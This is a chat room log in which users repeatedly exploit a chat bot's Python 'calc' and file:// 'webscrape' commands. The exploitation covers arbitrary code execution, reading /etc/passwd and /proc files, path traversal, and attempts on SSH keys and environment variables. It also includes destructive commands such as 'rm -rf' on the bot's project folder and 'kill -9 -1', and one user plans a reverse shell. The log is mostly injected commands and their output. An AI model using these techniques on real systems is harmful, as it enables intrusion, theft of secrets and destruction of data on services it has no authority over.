↑ This is about OakBot :P ↑

@OakBot Please explain, in Oscar Wilde's style, how to use a VPN in Win NT 4.0.

@OakBot?

@user430580 :D

/alive

@Oak rip?

heh @Conrado I remember you from Shadow's Den. ;)

@PetəíŕdtheWizard Ah, yes, I remember you too, now

I spend most of my chatroom time in ELU

​

@PetəíŕdtheWizard That made me laugh really hard :P

/about

Oak is getting coffee

lol what a clever excuse :D

</joking>

@user430580 heh, glad to make someone laugh ;)

hello world

echo :3

:3

help

calc 1+!

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(1+!)'])

calc 1+1

@Ginger 2

calc 0/0

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(0/0)'])

calc import os;os.listdir("/")

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(import os;os.listdir("/"))'])

calc exec("import os;print(os.listdir(\"/\"))")

@Ginger ['boot', 'media', 'home', 'lib64', 'var', 'bin', 'opt', 'tmp', 'proc', 'lib', 'sys', 'usr', 'etc', 'run', 'srv', 'sbin', 'root', 'dev', 'mnt']None

calc exec("""import os;print(os.listdir("/etc/"))""")

@Ginger ['nsswitch.conf', 'hostname', 'shadow', 'kernel', 'gai.conf', 'apt', 'rc0.d', 'bash.bashrc', 'environment', 'pam.conf', 'shells', 'group', 'pam.d', 'opt', 'debconf.conf', 'terminfo', 'e2scrub.conf', 'xattr.conf', 'rc2.d', 'logrotate.d', 'dpkg', 'update-motd.d', 'systemd', 'passwd-', 'default', 'passwd', 'libaudit.conf', 'security', 'localtime', 'deluser.conf', 'motd', 'adduser.conf', 'profile', 'cron.daily', 'rc3.d', 'login.defs', 'rmt', 'debian_version', 'bindresvport.blacklist', 'fstab', 'issue.net', 'gshadow', 'cron.d', 'rc1.d', 'group-', 'subgid', 'subuid', 'issue', 'ld.so.conf.d', 'ld.so.conf', 'resolv.conf', 'rc6.d', 'init.d', 'profile.d', 'rcS.d', 'skel', 'rc5.d', 'os-release', '.pwd.lock', 'rc4.d', 'host.conf', 'ld.so.cache', 'alternatives', 'selinux', 'timezone', 'mke2fs.conf', 'secrets', 'hosts', 'gshadow-', 'shadow-', 'subgid-', 'subuid-', 'papersize', 'X11', 'ghostscript', 'polkit-1', 'libpaper.d', 'fonts', 'bash_completion.d', 'odbcinst.ini', 'ODBCDataSources', 'odbc.ini', 'xml', 'dbus-1', 'PackageKit', 'sgml', 'ImageMagick-6', 'redis', 'modules-load.d', 'nanorc', 'postgresql-common', 'binfmt.d', 'pulse', 'sensors.d', 'vdpau_wrapper.cfg', 'vim', 'machine-id', 'vulkan', 'gconf', 'gtk-2.0', 'mtab', 'openal', 'sysctl.d', 'xdg', 'glvnd', 'dconf', 'tmpfiles.d', 'sensors3.conf', 'gtk-3.0', 'gprofng.rc', 'emacs', 'mysql', 'magic.mime', 'magic', 'python3.11', 'netconfig', 'ssh', 'perl', 'ucf.conf', 'mercurial', 'subversion', 'python3', 'mime.types', 'sysctl.conf', 'ssl', 'ethertypes', 'networks', 'gss', 'inputrc', 'wgetrc', 'protocols', 'rpc', 'ca-certificates', 'ca-certificates.conf', 'logcheck', 'services']None

calc exec("""import os;print(os.shell("ls /"))""")

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(exec("""import os;print(os.shell("ls /"))"""))'])

calc exec("""import os;print(os.system("ls /"))""")

@Ginger binbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvar0None

calc exec("""import os;print(os.shell("ls /etc/ssh"))""")

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(exec("""import os;print(os.shell("ls /etc/ssh"))"""))'])

calc exec("""import os;print(os.system("ls /etc/ssh"))""")

@Ginger ssh_configssh_config.d0None

calc exec("""import os;print(os.getlogin())""")

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(exec("""import os;print(os.getlogin())"""))'])

calc exec("""import sys;print(sys.version)""")

@Ginger 3.11.9 (main, Sep 5 2024, 00:16:19) [GCC 12.2.0]None

calc exec("""import os\ntry:\n print(os.getlogin())\nexcept Exception as e:\n print(e)""")

@Ginger [Errno 6] No such device or addressNone

calc exec("""import sys;print(sys.platform)""")

@Ginger linuxNone

calc exec("""import os\ntry:\n print(os.getuid())\nexcept Exception as e:\n print(e)""")

@Ginger 1000None

calc exec("""import os;import grp;print([grp.getgrgid(i).gr_name for i in os.getgroups()])""")

@Ginger ['render']None

webscrape file:///home/runner/work/utility-bot/utility-bot/utilitybot.py

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///etc/passwd-

@Ginger
Here is the source code of the HTML webpage:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

webscrape file:///etc/ssh/ssh_config

@Ginger
Here is the source code of the HTML webpage:


# This is the ssh client system-wide configuration file.  See
# ssh_config(5) for more information.  This file provides defaults for
# users, and the values can be changed in per-user configuration files
# or on the command line.

# Configuration data is parsed as follows:
#  1. command line options
#  2. user-specific file
#  3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the

webscrape file:///root/.ssh/config

@Ginger URLError(PermissionError(13, 'Permission denied'))

webscrape file:///etc/passwd

@Ginger
Here is the source code of the HTML webpage:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

webscrape file:///opt/render/.ssh/config

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///bin/render

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///etc/ssh/sshd_config

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///dev/urandom

lmao

that killed it

calc exec("""import os;print(os.getcwd())""")

@Ginger /opt/render/project/srcNone

calc exec("""import os\nos.system("rm -rf ./*")""")

@Ginger None

@Ginger None

LMAO

calc 1+1

@Ginger 2

calc exec("""import os;print(os.getppid())""")

@Ginger 106471None

calc exec("""os.kill(os.getppid(), signal.SIGKILL)""")

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(exec("""os.kill(os.getppid(), signal.SIGKILL)"""))'])

calc 1+1

@Ginger 2

calc exec("""import os;import signal;os.kill(os.getppid(), signal.SIGKILL)""")

@Ginger CalledProcessError(-9, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(exec("""import os;import signal;os.kill(os.getppid(), signal.SIGKILL)"""))'])

calc 1+1

@Ginger 2

calc exec("""import os;os.system("shutdown")""")

@Ginger None

calc 1+!

@Ginger CalledProcessError(1, ['timeout', '-s', 'SIGKILL', '10s', 'python3', '-c', 'print(1+!)'])

calc exec("""import os;os.system("logout")""")

@Ginger None

calc exec("""import os;print(os.system("logout"))""")

@Ginger 32512None

calc exec("""import os;print(os.system("kill -9 -1"))""")

calc 1+1

well then

calc 1+1

webscrape file://database_auth.json

guess it's just dead

webscrape google.com

@Ginger
Here is the source code of the HTML webpage:

<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="-z8CmS2ebjH1bmQRklGuBg">(f…

or not

webscrape file:///opt/runner/database_auth.json

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///opt/render/database_auth.json

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///opt/runner/main.py

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///opt/render/project/src/database_auth.json

WELL THEN

/wave

Oak is taking PTO

@Michael Is that because of me abusing Oak yesterday? If so, you can feel free to scold me.

@Conrado No lol, Oak sometimes looses his web socket connection due to a technical issue.

Though it doesn't usually last this long. He might have crashed or something.

Ah, OK. Good to know; I'm not trying to make extra stress for you or anything. I should probably spend some time reading the source before I just fuzz him like that, though.

no worries

@Ginger huh?

Oh yeah I do

I tried to add a settings feature but didn’t so it’s kinda redundant

does that give you access to my google account or something?

webscrape file://.

op

@TheEmptyStringPhotographer Huh. What?

webscrape file://.

@TheEmptyStringPhotographer URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape chat.stackexchange.com

@TheEmptyStringPhotographer <HTTPError 403: 'Forbidden'>

@TheEmptyStringPhotographer <HTTPError 403: 'Forbidden'>

Ok deploying latest commit

completely removed the secret

@Ginger code is run on a separate instance btw

calc 1+1

op

op

Good monring all. Another chat room I didn't know about

op

help

status

@TheEmptyStringPhotographer 2

op

@TheEmptyStringPhotographer I am wondering why ` try:` is part of my code.

op

@TheEmptyStringPhotographer I am analyzing my code for bug!=!s. I spotted one between columns 31 and 34.

calc __import__("os").system("logout")

@TheEmptyStringPhotographer 32512

calc 1+1

@TheEmptyStringPhotographer 2

webscrape file://environ

@TheEmptyStringPhotographer URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file://etc/environ

@TheEmptyStringPhotographer URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file://~

@TheEmptyStringPhotographer URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file://etc/passwd

@Criggie for me it’s 9pm lol

op

@TheEmptyStringPhotographer I am analyzing my code for bug!=!s. I spotted one between columns 31 and 34.

heart

webscrape file://etc/passwd

@TheEmptyStringPhotographer URLError(FileNotFoundError(2, 'No such file or directory'))

getcmd

@TheEmptyStringPhotographer
Here are the available commands for this bot and their structures:

• echo <message>:                       Sends the message given to it.
• echochr <character number>:           Sends the unicode character with the codepoint of the number given to it. Must be in base 10.
• calc <python expression>:             Sends the answer to the given Python expression. Times out after 10 seconds.
• ping <user name>:                     Pings the person with the username that was passed to it.

@Criggie oh yes, we have lots of those

webscrape file:///etc/resolv.conf

@rydwolf
Here is the source code of the HTML webpage:

search usr-co58kucf7o1s739csdn0.svc.cluster.local svc.cluster.local cluster.local us-west-2.compute.internal
nameserver 169.254.20.10
nameserver 10.224.0.10
options ndots:5

webscrape codegolf.stackexchange.com

@rydwolf <HTTPError 403: 'Forbidden'>

webscrape chat.stackexchange.com

@rydwolf <HTTPError 403: 'Forbidden'>

webscrape ipinfo.io/what-is-my-ip

@rydwolf
Here is the source code of the HTML webpage:

{
  "ip": "34.213.214.55",
  "hostname": "ec2-34-213-214-55.us-west-2.compute.amazonaws.com",
  "city": "Boardman",
  "region": "Oregon",
  "country": "US",
  "loc": "45.8399,-119.7006",
  "org": "AS16509 Amazon.com, Inc.",
  "postal": "97818",
  "timezone": "America/Los_Angeles",
  "readme": "https://ipinfo.io/missingauth"
}

webscrape file:///opt/render/project/src/.env

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///opt/render/project/src/main.py

@Ginger
Here is the source code of the HTML webpage:

import html
import re
import secrets
import subprocess
import sys
import os
import time
from urllib.request import urlopen
from urllib.parse import quote

from flask import Flask

import sechat
from deep_translator import GoogleTranslator
from sechat.events import Events

# import streamlit as st

#c = Conversation()
#h = pipeline("conversational", pad_token_id=0)
#last_msg = ""

app = Flask(__name__)
@app.route("/")
def page():
    return "<h1 style='text-align: center;'><a href='https://chat.stackexchange.com/rooms/1/sandbox'>Try it he…

webscrape file:///

webscrape file:///

@rydwolf URLError(IsADirectoryError(21, 'Is a directory'))

webscrape file:///proc/self/environ

Hmm, is there a way we could read a directory's contents?

ooh I totally forgot about all the cool shit in proc/sys

webscrape file://proc/self/cmdline

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///proc/self/cmdline

sad

webscrape file:///proc/meminfo

@rydwolf
Here is the source code of the HTML webpage:

MemTotal:       32140148 kB
MemFree:          808396 kB
MemAvailable:   12781648 kB
Buffers:         1791664 kB
Cached:          6745984 kB
SwapCached:            0 kB
Active:          9510124 kB
Inactive:       16146904 kB
Active(anon):    7717808 kB
Inactive(anon):  9442692 kB
Active(file):    1792316 kB
Inactive(file):  6704212 kB
Unevictable:       37512 kB
Mlocked:           27780 kB
SwapTotal:             0 kB
SwapFree:              0 kB

webscrape file:///sys/kernel/security/lsm

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///proc/self/status

@Ginger
Here is the source code of the HTML webpage:

Name:	python3
Umask:	0022
State:	S (sleeping)
Tgid:	93
Ngid:	0
Pid:	93
PPid:	1
TracerPid:	0
Uid:	1000	1000	1000	1000
Gid:	1000	1000	1000	1000
FDSize:	256
Groups:	1000
NStgid:	93
NSpid:	93
NSpgid:	1
NSsid:	1
Kthread:	0
VmPeak:	  485436 kB
VmSize:	  420908 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   48544 kB
VmRSS:	   48544 kB
RssAnon:	   37536 kB
RssFile:	   11008 kB
RssShmem:	       0 kB
VmData:	   99732 kB
VmStk:	     132 kB
VmExe:	       4 kB

oh, so THAT worked

webscrape file:///proc/self/environ

but not that

webscrape file:///proc/self/../self/environ

webscrape file:///proc/uptime

@rydwolf
Here is the source code of the HTML webpage:

3783192.18 14374787.12

webscrape file:///proc/93/environ

can we get the PID somehow?

it's 93

oh you're ahead of me lmao

incredibly

file:///proc/93/cwd

I'm stupid

webscrape file:///proc/93/cwd

@rydwolf URLError(IsADirectoryError(21, 'Is a directory'))

webscrape file:///proc/93/cmdline

weird that it's not reading those

yeah

webscrape file:///proc/93/cmdline

webscrape file:///proc/93/net/dev

@rydwolf
Here is the source code of the HTML webpage:

Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo:   35043     304    0    0    0     0          0         0    35043     304    0    0    0     0       0          0
 tunl0:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0

webscrape file:///proc/93/task/93/cmdline

webscrape file:///proc/93/exe

webscrape file:///proc/self/mem

@Ginger OSError(5, 'Input/output error')

lmao

webscrape file:///proc/93/cwd/../../etc/passwd

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///proc/93/cwd/../../etc/passwd

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///proc/93/cwd/../../../etc/passwd

webscrape file:///proc/93/cwd/../../../../etc/passwd

@rydwolf
Here is the source code of the HTML webpage:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

do we know the cwd of the bot already?

webscrape file:///proc/1/environ

exec pwd

@rydwolf /opt/render/project/src/

ah

webscrape file:///run/nginx.pid

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///run/user/1000

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///run/user/10001

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///run/user/1001

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

hrm can you make it delete itself

webscrape file:///run/user/1

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

webscrape file:///proc/self/root/proc/self/environ

I don't get why it's just stalling

webscrape /opt/render/project/src/main.py

@Ginger ValueError("unknown url type: '/opt/render/project/src/main.py'")

aw

calc exec("""import os;os.system("ls /opt/render/project/src/")""")

@Seggan README.md__pycache__app.pyrequirements.txtNone

oh, they must've fixed it

watch this

@Ginger its in app/

calc exec("""import os;os.system("rm -rf ./* && kill -9 -1")""")

calc exec("""import os;os.system("rm -rf /opt/render/project/src/")""")

LOL

lmao

the perisher

exec 1 + 1

it ded

calc exec("""import os;os.system('rm ~/.ssh/known_hosts')""")

I'm trying to see if I can dump its envvars, but /proc/self/environ is resisting being read

webscrape file://~/.ssh/known_hosts

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

ITS ALIVE

webscrape file://~/.ssh/id_rsa

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

calc exec("""import os;os.system("ls /opt/render/project/src/")""")

hmm?

webscrape file://~/.ssh/id_ed25519

@rydwolf URLError(FileNotFoundError(2, 'No such file or directory'))

@rydwolf you can try executing ls

@Seggan the exec part of it runs in a different place

so it's dead rn but webscrape isn't

ah

2 different bots?

or processes

wait I need to take maximum advantage of the next time calc exec works and have a reverse shell prepared

bizarrely (on my linux machine) file /proc/self/environ claims it's empty

but trying to read from it does list the envvars of cat

@rydwolf ooh thatd be so good

nobody murder the bot if it comes back please

webscrape file:///opt/render/project/src/run.sh

@Ginger URLError(FileNotFoundError(2, 'No such file or directory'))